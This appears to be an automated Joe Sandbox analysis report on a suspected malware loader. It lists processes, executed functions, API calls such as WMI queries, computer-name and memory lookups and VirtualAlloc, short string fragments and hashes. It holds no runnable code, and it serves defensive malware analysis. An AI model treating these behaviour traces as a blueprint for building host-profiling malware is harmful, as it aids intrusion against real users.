Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:30:06
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 1672
Imagebase:	0xc40000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	5.7%
Signature Coverage:	55.6%
Total number of Nodes:	297
Total number of Limit Nodes:	12

Executed Functions

Function 004329A0 Relevance: 28.7, APIs: 11, Strings: 5, Instructions: 687
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0043A688,00000000,00000001,0043A678,00000000), ref: 00432AB6
SysAllocString.OLEAUT32(C789C596), ref: 00432B4A
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00432B94
SysAllocString.OLEAUT32(0E7C0C7C), ref: 00432BF6
SysAllocString.OLEAUT32(A812D606), ref: 00432CE0
VariantInit.OLEAUT32(?), ref: 00432D52
SysFreeString.OLEAUT32(?), ref: 00433008
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,35473317,00000000,00000000,00000000,00000000), ref: 00433040

Strings

CS, xrefs: 00432AF3
C, xrefs: 00432A65
s, xrefs: 00432BAA
S?d!, xrefs: 004329CF
\, xrefs: 00432A70

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: String$Alloc$BlanketCreateFreeInformationInitInstanceProxyVariantVolume
String ID: C$S?d!$\$s$CS
API String ID: 505850577-3124737932
Opcode ID: ef4cf1c19b973add068f6a037984a49b506591c933db34cb568c0b5323902e02
Instruction ID: 6aa0165e4e018e033bc3f76b4c805ca35f0e02f1c2e2df65502cf979ad2b3afe
Opcode Fuzzy Hash: ef4cf1c19b973add068f6a037984a49b506591c933db34cb568c0b5323902e02
Instruction Fuzzy Hash: 26225472A083019BD714CF24CD81B6BBBA6EF89710F04892DF5859B3C1D7B9E905CB96

Function 004140A0 Relevance: 20.7, APIs: 1, Strings: 10, Instructions: 1461COMMON

Download Yara Rule

Strings

G)I, xrefs: 00414A91
?&,!, xrefs: 00414929
2%:Y, xrefs: 0041494A
%8=>, xrefs: 004149E6
).>8, xrefs: 0041493F
;?1{, xrefs: 004149D0
?9>6, xrefs: 004149DB
;%5Q, xrefs: 00414934
6:, xrefs: 004149F1
>=?7, xrefs: 00414A54, 00414A5B

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: G)I$%8=>$).>8$2%:Y$6:$;%5Q$;?1{$>=?7$?&,!$?9>6
API String ID: 0-3771190713
Opcode ID: c41c5602b9484fc378e0637479b50623c8d9be81107c1461b92f02929875d80e
Instruction ID: 39fa8f688466dc556570b02c3b26274acb271d516c62907897f38e164d4a9c45
Opcode Fuzzy Hash: c41c5602b9484fc378e0637479b50623c8d9be81107c1461b92f02929875d80e
Instruction Fuzzy Hash: C2A244B1A08241DFD7249F24D8527EBB3E1EFC5318F14493EE5998B391E7389942CB86

Function 00420900 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 371
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-A+C, xrefs: 00420DC8, 00420DD2
$Q|S, xrefs: 00420D12
LN, xrefs: 00420BF2
'E4G, xrefs: 00420CFA
6Y>[, xrefs: 00420D22
#U?W, xrefs: 00420D1A
#M(O, xrefs: 00420D0A
3])_, xrefs: 00420D2A
'I9K, xrefs: 00420D02

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: #M(O$#U?W$$Q|S$'E4G$'I9K$-A+C$3])_$6Y>[$LN
API String ID: 0-2762691546
Opcode ID: aa95af3e978e63bce4b6ccad632d83cf5a866faeae64b8ebd60081d94757aa5a
Instruction ID: a034a02e9441fe1a3a6f359ca2de909bb8f852ab9adcf09eda1205b78764008a
Opcode Fuzzy Hash: aa95af3e978e63bce4b6ccad632d83cf5a866faeae64b8ebd60081d94757aa5a
Instruction Fuzzy Hash: EAC1FAB4208345EFD3108F25E88176BBBE0FF95758F40492DF4869B391E7788906CB9A

Function 0041ED80 Relevance: 16.9, Strings: 13, Instructions: 674
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

G, xrefs: 0041EFDB
q, xrefs: 0041F381
F, xrefs: 0041EFD6
s, xrefs: 0041F377
s, xrefs: 0041EE19
stqrst, xrefs: 0041F65A
!@, xrefs: 0041EDB3
t, xrefs: 0041F372
r, xrefs: 0041F37C
rst, xrefs: 0041EE66
t, xrefs: 0041EE14
X, xrefs: 0041EFE0
,, xrefs: 0041F45E

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: AllocateHeapInitializeThunk
String ID: !@$,$F$G$X$q$r$rst$s$s$stqrst$t$t
API String ID: 383220839-2656375940
Opcode ID: 5cf44dea4c2119cd013da12a2b889943d79ca13f312ce99fe5ec7641dbfc1069
Instruction ID: a35f5e5c450a5041efe19848ef0c7df554bd57fd520c0fdca8053897309582c4
Opcode Fuzzy Hash: 5cf44dea4c2119cd013da12a2b889943d79ca13f312ce99fe5ec7641dbfc1069
Instruction Fuzzy Hash: 2F42F472A0C3809FD3298B28C4523AFBBE1ABD5314F58496EE1D6873D2D679C946C707

Function 00410217 Relevance: 10.7, Strings: 8, Instructions: 717
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

i, xrefs: 00410982
4, xrefs: 004103A2
`, xrefs: 0041097D
', xrefs: 00410854
o, xrefs: 00410715
li`, xrefs: 004109C5
-, xrefs: 0041084C
n, xrefs: 004105E0

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: '$-$4$`$i$li`$n$o
API String ID: 0-1486452282
Opcode ID: 5c5b10479730f40f3cf0f1b2ef84141e6d795d4d5601484d9b3155bdd116a29b
Instruction ID: c328a216d2be60e8fcc964c0fe2cc287c6d744a3bcb2f99d5e41edb985bda6cc
Opcode Fuzzy Hash: 5c5b10479730f40f3cf0f1b2ef84141e6d795d4d5601484d9b3155bdd116a29b
Instruction Fuzzy Hash: B952AF7160C7808FD3289B3984913EFBBE1ABD5314F184A2EE5E9873D2D6788581CB57

Function 00427F1F Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 407
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 00427FF4
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042802A
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 004280CF

Strings

IJI@, xrefs: 00428036
,JHh, xrefs: 004284B9

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: ComputerName$FreeLibrary
String ID: ,JHh$IJI@
API String ID: 2243422189-1373974188
Opcode ID: 2cdc0bb6239932ca3b26f6dce9c2fa1ef6048cc788afaf057f6128871c5482a2
Instruction ID: 536371d517db97f1ccda1f99738a03d0a199585d290246863fd22b603e2661f0
Opcode Fuzzy Hash: 2cdc0bb6239932ca3b26f6dce9c2fa1ef6048cc788afaf057f6128871c5482a2
Instruction Fuzzy Hash: 83E1F360605B918EE725CB35D8507B7BBE1AF63304F4849AEC0DB87283DB79A506CB25

Function 00427F18 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 443
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042802A
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 004280CF

Strings

IJI@, xrefs: 00428036
,JHh, xrefs: 004284B9

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: ComputerName
String ID: ,JHh$IJI@
API String ID: 3545744682-1373974188
Opcode ID: d9b7b143e790ca58fd061f65aac3b20f3b4204b52f381415fd334e458fae4aa8
Instruction ID: bdc941ceb2fdc015ead54d9adf334385613b06187b7dff837de0d8f2809e0f90
Opcode Fuzzy Hash: d9b7b143e790ca58fd061f65aac3b20f3b4204b52f381415fd334e458fae4aa8
Instruction Fuzzy Hash: EFF1F370605B828BE725CF35C4507A7FBE1AF66300F58896EC4DA87783DB38A406CB65

Function 00408C30 Relevance: 6.1, APIs: 4, Instructions: 138
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408C51
GetCurrentThreadId.KERNEL32 ref: 00408C5B
GetForegroundWindow.USER32 ref: 00408D6F

Part of subcall function 00409E90: LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 00409F3C

Part of subcall function 0040CBA0: CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CBB3

Part of subcall function 0040B9F0: FreeLibrary.KERNEL32(00408DD0), ref: 0040B9F6
Part of subcall function 0040B9F0: FreeLibrary.KERNEL32 ref: 0040BA17

ExitProcess.KERNEL32 ref: 00408DD7

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: Library$CurrentFreeProcess$ExitForegroundInitializeLoadThreadWindow
String ID:
API String ID: 1213381344-0
Opcode ID: 83e7752d7f5fa9765c8cc4a5c8632e1748e0bdcd8d59b171ef680bcae0e5ca67
Instruction ID: ef78f0192e28a9ede9587cf504f5133718aa7e5fd67a1396e892b01ce91e48d4
Opcode Fuzzy Hash: 83e7752d7f5fa9765c8cc4a5c8632e1748e0bdcd8d59b171ef680bcae0e5ca67
Instruction Fuzzy Hash: 0E412973B083145FC718EFA98D9625AF6DA6FC4210F0A413EB8C5D73D1EE789C098699

Function 00428819 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 004288DC

Strings

QWcR, xrefs: 00428ACC

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: QWcR
API String ID: 3960555810-4038297426
Opcode ID: c1a1980ccefe4168e724645953b02c871030ed13d1a59699cb94455740b08032
Instruction ID: 3ed5ee947607e25aebaf333e48edd0f187630e6852b2dda318c3fd9f592aca35
Opcode Fuzzy Hash: c1a1980ccefe4168e724645953b02c871030ed13d1a59699cb94455740b08032
Instruction Fuzzy Hash: 89A1F270604B918ED7258F3A94507A7BBE1AF57304F4889AEC0EB87393CB79A406CB55

Function 00435120 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00435130

Strings

BQC, xrefs: 00435136

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID: BQC
API String ID: 1279760036-3224042627
Opcode ID: 23793e402247bad113073fdc880a754f54d973b0629cf53ba97df6866cafaefc
Instruction ID: e58b290703b51bb381b87b277c1aba91039912804614938a607f7bb7c4cd751b
Opcode Fuzzy Hash: 23793e402247bad113073fdc880a754f54d973b0629cf53ba97df6866cafaefc
Instruction Fuzzy Hash: 94C01234848210AFC2149F00CC09B66BA38AF0B320F006069A408731B2CB70EC10CA8C

Function 00432670 Relevance: 2.8, Strings: 2, Instructions: 264COMMON

Download Yara Rule

Strings

tsrqtsrq, xrefs: 00432804
tsrq, xrefs: 004328FC

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: tsrq$tsrqtsrq
API String ID: 2994545307-3105251034
Opcode ID: 978d89ff0f01f71145dd88193df1860ff8b89c3807c19536170a1992afb9339b
Instruction ID: 4eb5d337052339e01e40ab65a4ed2e313a2adf5e82291d2a7dd6573bcea1e057
Opcode Fuzzy Hash: 978d89ff0f01f71145dd88193df1860ff8b89c3807c19536170a1992afb9339b
Instruction Fuzzy Hash: 2EB11775D08385DFDB01CBA885503EEBFF1AF5B310F18519AD4946B392C3784A06DB56

Function 00423260 Relevance: 2.7, Strings: 2, Instructions: 214COMMON

Download Yara Rule

Strings

2[Z/, xrefs: 00423457
#FJ5, xrefs: 00423475

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: #FJ5$2[Z/
API String ID: 0-3812896179
Opcode ID: 3cdb7d5b2ff4995b9fdcd8d302bb59f667d7bfe119cccbce1a54079c50abd319
Instruction ID: b22da4b8172b391048e7a17cf3722adcd9c883c7d8e929ea541a35eee47f3643
Opcode Fuzzy Hash: 3cdb7d5b2ff4995b9fdcd8d302bb59f667d7bfe119cccbce1a54079c50abd319
Instruction Fuzzy Hash: 265148B0704210ABC724AF68EC9173B72B4EF4531AF94057EED8687392E67C9F05865E

Function 00436640 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(004380DE,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043666E

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 009B003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 009B024D

Strings

cess, xrefs: 009B018D
kernel32.dll, xrefs: 009B008F, 009B0095

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 9e9f84a109257b54853148e16428cd8b539b9773b1213dbfa97cba74c9b7c1b4
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 43527874A00229DFDB64CF68C984BADBBB1BF49314F1480D9E94DAB251DB30AE84DF14

Function 009B0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,009B0223,?,?), ref: 009B0E19
SetErrorMode.KERNELBASE(00000000,?,?,009B0223,?,?), ref: 009B0E1E

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 834e71a4ee2bb256775d8f514e505c58297908d8ee81c6856434322e2576a7f4
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 31D01232245228B7DB002AD4DC09BCEBB1CDF09BA2F008421FB0DE9080CBB09A4046EA

Function 00409E90 Relevance: 1.6, APIs: 1, Instructions: 68libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 00409F3C

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f63e99d08be623f5cd035103f7d975d6f99692e7d9364ffa25277d7198f547af
Instruction ID: ff89f013d7b099ba3c321a5a47a92e5965ac64960feac63a0ff008374722b986
Opcode Fuzzy Hash: f63e99d08be623f5cd035103f7d975d6f99692e7d9364ffa25277d7198f547af
Instruction Fuzzy Hash: 6421AFB4D00204AFD704AF7ADD47AAA7FB8EB05310F118269F4906B299D73488198BDB

Function 0042C570 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042C5FC

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: c280a4da87c33b017c7c4c58af0350ad1f5a990bffb92fdc823ae68117e60164
Instruction ID: fec698cc6df664f279bf9a109722aa10c71acc98960baa98d5566fa1576c98d8
Opcode Fuzzy Hash: c280a4da87c33b017c7c4c58af0350ad1f5a990bffb92fdc823ae68117e60164
Instruction Fuzzy Hash: 9F213AB4605301CFD714DF28D4A8B5ABBE0EF48304F10485DE49ACB391D77AAA59CF86

Function 0042C5B4 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042C5FC

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 43c8ef2596174769e7d833bd91c47a3b1969a9e9beddb53cc54ef567e26149d5
Instruction ID: 0195cc39d7c06aa115efaaec084557b7c91e0817f274312865f3a12c01272709
Opcode Fuzzy Hash: 43c8ef2596174769e7d833bd91c47a3b1969a9e9beddb53cc54ef567e26149d5
Instruction Fuzzy Hash: A2F0A4B45087018FE314DF29D0A871ABBF0FB88304F11991CE4A68B390C7B9A648CF82

Function 0042A769 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042A7B0

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 8dd884d227cefb3112e821edb66b23cc5c2d26f3cf4cdcc7518fe5e17994d7a7
Instruction ID: 8f8749bc738a35580ed37798f212e598ce8d770425330b99dd3f2d3ccacf5a40
Opcode Fuzzy Hash: 8dd884d227cefb3112e821edb66b23cc5c2d26f3cf4cdcc7518fe5e17994d7a7
Instruction Fuzzy Hash: C5F074B45493429FD324DF28C5A976BBBF1AB88344F01892CE4958B390C7B99949CF82

Function 0040CBA0 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CBB3

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 896a79fe9a0c866df93ac88ab24cef7e12351e54fcb3e24adf4f7c272c469964
Instruction ID: 27b1fe7ba1c2ccd563f8a9daedb45507f4d0567f40f177774fd049bd0ee974db
Opcode Fuzzy Hash: 896a79fe9a0c866df93ac88ab24cef7e12351e54fcb3e24adf4f7c272c469964
Instruction Fuzzy Hash: 2FD02E212D410427E248A638AC8BF22326C8706312F004239B1E2A65C2E810282083A9

Function 0040CBD5 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CBE7

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 4e467a3265f48fcf22bb13ff264a795de278e35b287da5b9bbb3cf179de069a6
Instruction ID: b54648b2fd7110b9e928916e1c437d93c4548538f101ca8a575ec6e9b5575e20
Opcode Fuzzy Hash: 4e467a3265f48fcf22bb13ff264a795de278e35b287da5b9bbb3cf179de069a6
Instruction Fuzzy Hash: 85D092353C8300BAE1645618AC53F1132556305F62F701228B366FE6E0C9D06111860C

Function 00409F9C Relevance: 1.5, APIs: 1, Instructions: 16networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202), ref: 00409FB5

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: 31036400aae3b1e299a58df66207c332fce25d88003a391a52bd39d1ad5861c1
Instruction ID: 82114ed53f148b03a0597d831ee09e209fb8a250971917cf65c650dde37be3bc
Opcode Fuzzy Hash: 31036400aae3b1e299a58df66207c332fce25d88003a391a52bd39d1ad5861c1
Instruction Fuzzy Hash: 75D023F574501297E3489F34FCA79163705DB0A215B04343EF113D11F2DD70C424CA55

Function 00436825 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00436825

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 07650149222d98454a90c6344e2413560dc65ee3d817d46f868a367f47215402
Instruction ID: bc9dace737bb6f1f3cbc7447f1cd3f912296d21ba07911622c169547043e6a85
Opcode Fuzzy Hash: 07650149222d98454a90c6344e2413560dc65ee3d817d46f868a367f47215402
Instruction Fuzzy Hash: 0CD05E7B55A1008BD6409F25EC8545A33A0A74A30DB051879F287D2251C630AA29CB4F

Function 00435150 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000,00411FF9), ref: 0043516E

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 8a194261cc9b2782a235b3b3f6bc9a6fb147309bacc794eaf7bbc78c44ee49e9
Instruction ID: 12b6cfd3c59d7c903a7a8dfa976e4e9944c2373a8ff7025f7e38e54d1e17d1b5
Opcode Fuzzy Hash: 8a194261cc9b2782a235b3b3f6bc9a6fb147309bacc794eaf7bbc78c44ee49e9
Instruction Fuzzy Hash: 88D01271405522EFC6512F18FC0AB8A3A64EF0A330F0304A2B444AB0B0C774DC61C6D8

Non-executed Functions

Function 00411580 Relevance: 134.6, Strings: 106, Instructions: 2087COMMON

Download Yara Rule

Strings

u, xrefs: 00412D50
n, xrefs: 00412DD0
9, xrefs: 00412AB8
=, xrefs: 00412AD8
s, xrefs: 0041306F
2, xrefs: 00412236
rst, xrefs: 004123F4
}, xrefs: 00412193
), xrefs: 00412B38
b, xrefs: 00412D90
?, xrefs: 004116BA
-, xrefs: 00412B58
>, xrefs: 0041321E
I, xrefs: 004120FA
V, xrefs: 0041216B
K, xrefs: 0041210A
$, xrefs: 00411CFD
1, xrefs: 00412A78
", xrefs: 00411CED
4, xrefs: 00412246
v, xrefs: 00412D40
{, xrefs: 00412183
d, xrefs: 00411634
G, xrefs: 004120EA
0, xrefs: 0041320E
=, xrefs: 00413226
0, xrefs: 00412226
!, xrefs: 004120D2
., xrefs: 00412A60
3, xrefs: 00411DCE
D, xrefs: 004134CA
rst, xrefs: 004132F8
3, xrefs: 00412A88
rst, xrefs: 004136D9
o, xrefs: 00412D70
?, xrefs: 00412AE8
#, xrefs: 00412B08
;, xrefs: 004131EE
L, xrefs: 00412D00
q, xrefs: 00412DC0
y, xrefs: 00412DF0
,, xrefs: 00411CBD
w, xrefs: 00412D20
6, xrefs: 00412256
